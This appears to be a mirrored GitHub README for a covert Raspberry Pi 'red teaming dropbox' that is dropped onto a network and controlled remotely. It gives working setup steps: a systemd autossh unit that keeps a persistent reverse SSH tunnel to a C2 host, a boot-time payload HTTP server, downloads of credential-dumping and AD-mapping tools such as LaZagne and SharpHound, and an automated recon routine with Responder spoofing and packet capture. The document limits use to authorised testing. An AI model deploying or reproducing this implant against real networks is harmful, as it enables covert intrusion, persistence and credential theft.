red-teaming-dropbox

KO | EN

gitlite — search

#python #java #python3 #arduino #golang #machine-learning #rust #html #flask #javascript #seismology #nodejs

red-teaming-dropbox

★ 14 Open GitHub ↗

A headless Raspberry Pi running Kali Linux that auto-connects to Wi-Fi/Ethernet, establishes a persistent reverse SSH tunnel to your C2, and hosts preloaded payloads for recon, post-exploitation, and persistence testing. Set up with systemd services for stealth and reliability — drop it on a network and control it remotely.

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# 🛠️ Raspberry Pi Red Teaming Dropbox

![image](https://github.com/user-attachments/assets/1e618193-0842-4125-acbd-6ad6fdaefb82)
![Screenshot From 2025-06-18 21-51-23](https://github.com/user-attachments/assets/95a1e76f-e750-4fbc-a8e7-5454516b2956)
![image](https://github.com/user-attachments/assets/f0a34ba8-a431-406f-a7c6-e727e1e0bf0b)

## 📌 Project Summary

A headless, stealthy red teaming dropbox built on a Raspberry Pi running Kali Linux. Once deployed, it automatically connects via Wi-Fi or Ethernet and establishes a persistent reverse SSH tunnel to a remote C2 server for remote command and control.

---

## 🌐 Features

- Auto-connect to Wi-Fi or Ethernet on boot
- Persistent reverse SSH beaconing to remote C2 server
- Payload hosting via `python3 -m http.server`
- Systemd service for startup automation
- Git-based payload arsenal synced to `/payloads`

---

## ⚙️ Hardware/OS

- **Device**: Raspberry Pi 4 at minimum
- **OS**: Kali Linux (Raspberry Pi Headless Image)
- **Connection**: Wi-Fi + Ethernet (configured via `nmtui`)

---

## ⚠️ Legal Disclaimer

This project is intended **for educational purposes only**. It is designed to help cybersecurity professionals and enthusiasts understand red teaming techniques in a controlled environment.

You are **solely responsible** for how you use this project. Deploying this dropbox on any network or device **without explicit permission** is illegal and unethical.

By using this repository, you agree to use it **only on systems and networks you own or are explicitly authorized to test**. The author(s) of this project assume **no liability** for misuse or damage caused by improper deployment or unauthorized access.

Stay ethical. Hack responsibly.

## 🧱 Phase 1: Initial Setup

### Kali Setup

```bash
sudo apt update && sudo apt upgrade -y
```

### Setup Wi-Fi persistence

Used `nmtui` to set up Wi-Fi and mark it to auto-connect.

### SSH Keypair & Remote Access

```bash
ssh-keygen -t ed25519 -f ~/.ssh/id_dropbox -N ""
ssh-copy-id -i ~/.ssh/id_dropbox.pub root@<your-c2-ip>
```

---

## 🔁 Phase 2: Persistent SSH Tunnel

### Install autossh

```bash
sudo apt install autossh -y
```

### Create systemd service

File: `/etc/systemd/system/autossh-tunnel.service`

```ini
[Unit]
Description=Persistent reverse SSH tunnel via autossh
After=network.target

[Service]
User=kali
Environment="AUTOSSH_GATETIME=0"
ExecStart=/usr/bin/autossh -M 0 -N -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -i /home/kali/.ssh/id_dropbox -R 0.0.0.0:2222:localhost:22 root@<your-c2-ip>
Restart=always

[Install]
WantedBy=multi-user.target
```

Enable & start it:

```bash
sudo systemctl daemon-reload
sudo systemctl enable autossh-tunnel.service
sudo systemctl start autossh-tunnel.service
```

---

## ⚙️ Phase 3: Startup Script

Create `/home/kali/startup.sh`

```bash
#!/bin/bash

LOG_DIR="$HOME/logs/$(date +%F-%H%M%S)"
mkdir -p "$LOG_DIR"

cd /home/kali/payloads
nohup python3 -m http.server 80 >> "$LOG_DIR/http.log" 2>&1 &
```

Make it executable:

```bash
chmod +x ~/startup.sh
```

Create systemd unit to run on boot: File: `/etc/systemd/system/dropbox-startup.service`

```ini
[Unit]
Description=Startup tasks for red team dropbox
After=network.target

[Service]
ExecStart=/home/kali/startup.sh
User=kali
Restart=on-failure

[Install]
WantedBy=multi-user.target
```

Enable it:

```bash
sudo systemctl daemon-reload
sudo systemctl enable dropbox-startup.service
```

---

## 🎣 Payload Arsenal (via GitHub clones)

```bash
mkdir -p ~/tools && cd ~/tools

# PayloadsAllTheThings
git clone https://github.com/swisskyrepo/PayloadsAllTheThings

# GTFOBins
git clone https://github.com/GTFOBins/GTFOBins.github.io GTFOBins

# LOLBAS
git clone https://github.com/LOLBAS-Project/LOLBAS

# PowerShell Offensive Toolkit
git clone https://github.com/FuzzySecurity/PowerShell-Suite

# HackTricks
git clone https://github.com/carlospolop/hacktricks
```

```bash
# Extras used
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -P ~/payloads/
wget https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe -P ~/payloads/
git clone https://github.com/sleventyeleven/linuxprivchecker ~/payloads/linux-privcheck
git clone https://github.com/itm4n/PrivescCheck ~/payloads/win-privcheck
```

---

## 🔍 Recon Automation Script

A fully automated recon script is included at `scripts/recon.sh` and is designed to run **without any user input**. It automatically detects the Pi’s IP address, network interface, and subnet, then executes a series of recon tasks and saves the results to `~/loot/recon`.

### 🔧 What It Does:

- Detects local IP, interface, and subnet (e.g., `192.168.1.0/24`)
- Runs `arp-scan` to identify devices on the network
- Performs fast and deep `nmap` scans on live hosts
- Optionally runs CrackMapExec SMB enumeration if installed
- Launches Responder in the background for LLMNR/NBNS spoofing if available
- Captures a 60-second packet capture with `tcpdump`

### 📁 Output:

Results are timestamped and saved in:

```
~/loot/recon/YYYY-MM-DD_HH-MM-SS/
```

### ▶️ To run it manually:

```bash
bash ~/scripts/recon.sh
```

> Optionally, you can modify your `startup.sh` to run this on boot or create a dedicated systemd service for automated execution.

---

## 🧠 Operational Note

This project is for **educational** and **internal testing** only. Never deploy unauthorized devices on networks you do not own or have explicit permission to test.

---

**Created by:** A modern hacker who thinks like an operator 😎

red-teaming-dropbox

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README